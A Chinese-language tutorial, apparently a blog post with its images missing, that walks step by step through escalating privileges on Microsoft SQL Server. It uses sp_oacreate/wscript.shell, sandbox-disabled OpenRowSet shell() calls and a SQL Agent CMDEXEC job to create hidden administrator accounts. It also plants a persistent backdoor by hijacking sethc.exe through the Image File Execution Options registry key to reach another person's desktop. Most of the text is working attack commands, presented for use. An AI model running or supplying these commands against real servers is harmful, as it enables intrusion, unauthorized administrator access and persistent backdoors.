1、sp_oacreate、sp_oamethod提权
1、开启sp-oascreate
执行下面的语句
注意:2005默认是禁用的。2000默认开启。(可以同时执行)
execsp_configure'show advanced options',1;
RECONFIGURE;
execsp_configure'Ole Automation Procedures',1;
RECONFIGURE;
2、创建账户
开启sp-ascreate之后,创建账户(语句可以同时同时执行)
declare**@cmd**INT;
execsp_oacreate 'wscript.shell',@cmdoutput;
execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';
execsp_oacreate 'wscript.shell',@cmdoutput;
execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';
先检测命令是否无误

直接执行命令


2、沙盒提权
1、开启Ad Hoc Distributed
exec sp_configure'show advanced options',1
reconfigure
exec sp_configure'Ad Hoc Distributed Queries',1
reconfigure
2、关掉沙盒模式
EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号
Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功


4、加入管理员组
Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');


3、JOB提权
1、启动sqlagent服务
execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务
USE msdb
GO
-- 首先检查并删除已存在的作业(如果存在)
IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')
BEGIN
EXEC sp_delete_job @job_name = 'x'
END
GO
-- 创建新作业
EXEC sp_add_job
@job_name = 'x',
@enabled = 1
GO
-- 添加作业步骤 - 使用正确的子系统名称
EXEC sp_add_jobstep
@job_name = 'x',
@step_name = 'Step1',
@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称
@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',
@on_success_action = 1
GO
-- 将作业附加到服务器
EXEC sp_add_jobserver
@job_name = 'x'
GO
-- 启动作业
EXEC sp_start_job @job_name = 'x'
GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)
1、利用regwrite函数修改注册表
EXEC master..xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name = 'Debugger',
@type = 'REG_SZ',
@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功
master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建


上面图片按照这个路径往下点
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启




出现这个,选择否,图中箭头标错了


执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面


至此,这种方式提权成功
